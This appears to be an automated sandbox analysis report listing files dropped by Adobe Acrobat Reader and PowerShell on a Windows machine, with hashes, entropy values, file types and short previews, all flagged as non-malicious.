Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.274427909307056
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJf+dPeUkwRe9:YvXKXVYJLCvcz5G28Ukee9
MD5:	02C8589D47A923B0DB6BF71384AAA22A
SHA1:	B5DCDEA1B7BE1FD87758E94033C404A250D45F31
SHA-256:	1DCD2D45E554B2B21C43340865F920C75A4B8D1ABDDAB130969AC4FE620DDD71
SHA-512:	AE10063ECC377A41F14B4FBF2D126F1913D3B24A0284B5977C484F2A304165BC9561A10F03F6E52E2E1C229287E367279A4A6527CAC8CBCB1DB43452BB4F47E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.271912413612205
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJfbPtdPeUkwRe9:YvXKXVYJLCvcz5GDV8Ukee9
MD5:	BBC9CA2D5E26866560DAC5F4178F96C0
SHA1:	B16B9BED280E78A84426E4A82ED4673A6A1F7905
SHA-256:	E923679A027B7A3BBC055FE17A079F01DD0B712BA7A9FFA7D39CE83A0853340F
SHA-512:	A7F44403C6FEFC7BAEC17CA6009A63CC2245FB78283EB099CADB893C10944E5A3753716F3880C1668ADE79AA73AE730DBEE344D65A446E0C1B22F0717ED89CB3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.275427443637292
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJf21rPeUkwRe9:YvXKXVYJLCvcz5G+16Ukee9
MD5:	467D2FF3F9D04CA576A1DA2E134E0157
SHA1:	DB4C6F8BE105D0494B5B3B6FC2EC6181FD1ADE58
SHA-256:	2D930E364AE5CA026CF16B08344A632B412D8484E068EBB17EBD3702B863A0B4
SHA-512:	48DD3D022EA68B01117BCD246472F186BF19954664D4F04A37CD930462471C47BDC156BD78941EA0AE3DD07765459DC538E3A97EB142BE1FA94AEDD60A5E7E0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6628663533276535
Encrypted:	false
SSDEEP:	24:Yv6Xe2UzCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSV1:YvmscBgkDMUJUAh8cvM/
MD5:	F661F3F56627497AB914544607C08E56
SHA1:	1E05BBBC451BF620DB8B2BF739B4BD88A544BA57
SHA-256:	988AB9EE1374F7995431F56E80CCEBEB40DE95DE1D00E197C97847AEAD3951BB
SHA-512:	E2249C629C4C8033CA855AA21451E26A9E3AC20BB700A172667757328CA24396947DA3A31D60555D030B8BF875F0E1D63C88BC5F24AE0205674840E1F3A26F9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.251157141108346
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJfshHHrPeUkwRe9:YvXKXVYJLCvcz5GUUUkee9
MD5:	7D7EF86301E6B734BDA67F737017D6D6
SHA1:	240EADB8EBDD99A777DF7100620260D14E0DD644
SHA-256:	D0FD08FAB9B413CE53EAAA2C4E073C5D4481403B71C54F450B6678326DC02BE5
SHA-512:	43BC3A199D3C24D62E5B9EF41B255B411586D04A182098B66B745C81DDE6836D09E93BE5397F52A1A1030893359A82999A8550B622253B73E6375559F1DBEBE0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.262554287243206
Encrypted:	false
SSDEEP:	6:YEQXJ2HXVYJR9Kg4KGnZiQ0YMKoAvJTqgFCrPeUkwRe9:YvXKXVYJLCvcz5GTq16Ukee9
MD5:	B026CA0EEBC61B5D1210DF6C4F6BA57C
SHA1:	A24389F2CF2EAFD53E9D0F78D6A425B331490EA6
SHA-256:	220F644513905B9E58A89D25E58FC7705B6DCC19265ACBA78E076D0648B6C646
SHA-512:	502986A22171BFB53D82DCD2E8E0B7DFCE235A9BD18420479162F3E656B83AAF35D885D195CCD04F96E646B6D8A7FF656288192FFBED66A3EA6BEBDEF01208B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"758c7311-a2da-4bfe-a235-693dce458fd3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736715528375,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143605423594751
Encrypted:	false
SSDEEP:	48:Y3jg2l+hZiDYcXAYyZpm+22r3o7VpoXirvKPCQuG9qvSW:s82EoYwyXm+RrIV5EXG
MD5:	016A68083584227ED8215D9FAE126DC0
SHA1:	176D0BF6BE3E3117361925DA1BA43AD4BC92F3EF
SHA-256:	88256B2523412B5DF7911628B2C150A7533D530A63D7EAF49BB6A6C2F1FF0944
SHA-512:	E031D37E793BA54EEEB1F0C7F1E2672507A27976099399F62934C2A7FE2C8A6C318FB7EB6A8049A4FC67094CC680148859380A576B5C17C45F4F083F11874212
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4d69eaa393f1b11e1970902ccf14f2af","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736541752000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"cef36d0e6365dfbba0c7499991d9264e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736541752000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"889dc49ee863a06260099233ce355446","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736541752000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"464f1519b5a9194b4b7f4a6908ecef1b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736541752000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"591c7303e14ab7bbf80894eda7d15b3f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736541752000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0e2b7a8fe9067f25802b947f50c44487","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.144923129921085
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs2oRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudce:TFl2GL7msvXc+XcGNFlRYIX2v3k+
MD5:	5C427D7EBF605C26F53777698A4EA818
SHA1:	15627AA35B3C19DE55C79AC328740776B6CC5FE6
SHA-256:	2520A2AC411082EC57804CCF41D326C2F9B4D50AEC0C3E0D166509E05FC119B7
SHA-512:	EEBC0193E737E08880B5CF7D570C39CAC963184FC3B95201851B6F1596D51269565164F6FF83ABC70083C0E0B9E33224802CC8A1A604335E3C18E56A197D2624
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5490829662392964
Encrypted:	false
SSDEEP:	24:7+tOoUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxMqLxx/XYK9:7MwXc+XcGNFlRYIX2vpqVl2GL7msl
MD5:	E335F03A064E74A9EFCE6A997B356E49
SHA1:	90FD9A81891F929F73BCE0B5826BFBE0C3D9DB07
SHA-256:	1FE83DB6D459AFA6E75A5CFA94290BCBF4E2BF6EC24D48B9E87029AB74539BB6
SHA-512:	F39D376226DA16E19C1E79E2D68FCDFA6F39C30579D9F26EDD381E7211EE5AC39578055EE5D6E4FBA073101E7327D73171B77270C7C70FD39F50A6D7B21205D2
Malicious:	false
Preview:	.... .c......_E...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgLByl7ATEjdhgCl62Dx1inj/Yyu:6a6TZ44ADELB87UIdhN6oeK
MD5:	551426310A7871D127F8253C41FC82BC
SHA1:	A1D1E63A2C7EDE06496477B24DF23D33B72A8E31
SHA-256:	A78888A778F2487453073D7608338E9069D367ED73A340BF09819D34D811E913
SHA-512:	D637B6354EA3B960B96D3090E99A5E952906CD586DB814B4DD8AA823658D2DCD611657A734A4D20BED3163B94D6086FB4CAFEC1D698BEE4899F7D3B88ED84A76
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSId7a5e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE8qUnH:Qw946cPbiOxDlbYnuRK+bDGH
MD5:	C6F7735064A305D27EC7324E8890A54C
SHA1:	D3BA2C302E535DC3C6A8D3331408ECDFF6785D3B
SHA-256:	C32EB00DC88BFFD4EBFA3E24B0A8F53F701FBE815775EE6B77FB8A1DEA7E3D45
SHA-512:	29116A54F2828F12935514D8A78AB41E17FE41225A7E52F44CAE460AFEE39892CAD7C349645ED35C44D82FE887A5540A3B524592871301A837AADC287D2D95D2
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.4.2.:.3.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fxf1xpgg.lkj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jyuzgsut.guj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9wa9jb1_31uint_2z0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-42-25-672.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.360725988804434
Encrypted:	false
SSDEEP:	384:KUFFDFsFrF1F2FJvFeFTF9FGFOFA6+Q6n6Vk0kYk2kSbHbbbUbpblhSWSGSczq2K:KEJ2xnYrvwhzkASdQ+6bRDp73gNbFx7m
MD5:	BFBB38F74D238184DA7C173F82B20CD9
SHA1:	F6A76D8DF5505EBAD8EC26A546A87D12D28FB65F
SHA-256:	132DE5B8C3DFF6B81C43A20002B66A330B6DB61F4531C9BCC694B0DC59B63AA0
SHA-512:	5D03D5987F0E2F57696E0F42D1E2E05C98AA0A2098B054444A9B2BF435039BCE9C08898C628ECD3254C077616F5BCDD2C17E69CC143E535109E2DDD591ED3D61
Malicious:	false
Preview:	SessionID=7d404d09-fba6-4180-b61c-b3333ead218e.1736541745684 Timestamp=2025-01-10T15:42:25:684-0500 ThreadID=7656 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7d404d09-fba6-4180-b61c-b3333ead218e.1736541745684 Timestamp=2025-01-10T15:42:25:685-0500 ThreadID=7656 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7d404d09-fba6-4180-b61c-b3333ead218e.1736541745684 Timestamp=2025-01-10T15:42:25:685-0500 ThreadID=7656 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7d404d09-fba6-4180-b61c-b3333ead218e.1736541745684 Timestamp=2025-01-10T15:42:25:685-0500 ThreadID=7656 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7d404d09-fba6-4180-b61c-b3333ead218e.1736541745684 Timestamp=2025-01-10T15:42:25:685-0500 ThreadID=7656 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395672560442519
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbJucbyI/BcbJ:V3fOCIdJDeLP/u
MD5:	9CD0F33A310C521566A90F9DED38E5AF
SHA1:	0A5A1B1E1F0A8E7F91A5F1DF7C7E2F44D81842F0
SHA-256:	54E9830DD684FE6C850403A652E9F0AADF49AEC93CB9EF3819D982A02DD599C4
SHA-512:	C8AE9291D5CAF003FE48345641E924F36AFC518B9F48A324A27DFC493DC0D5067793A09130545CC126679DC620443122DF93A48834627D99D0A2CBBBE0DC8614
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\19b74e5f-966f-4c34-ab59-e06e9d5cf074.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
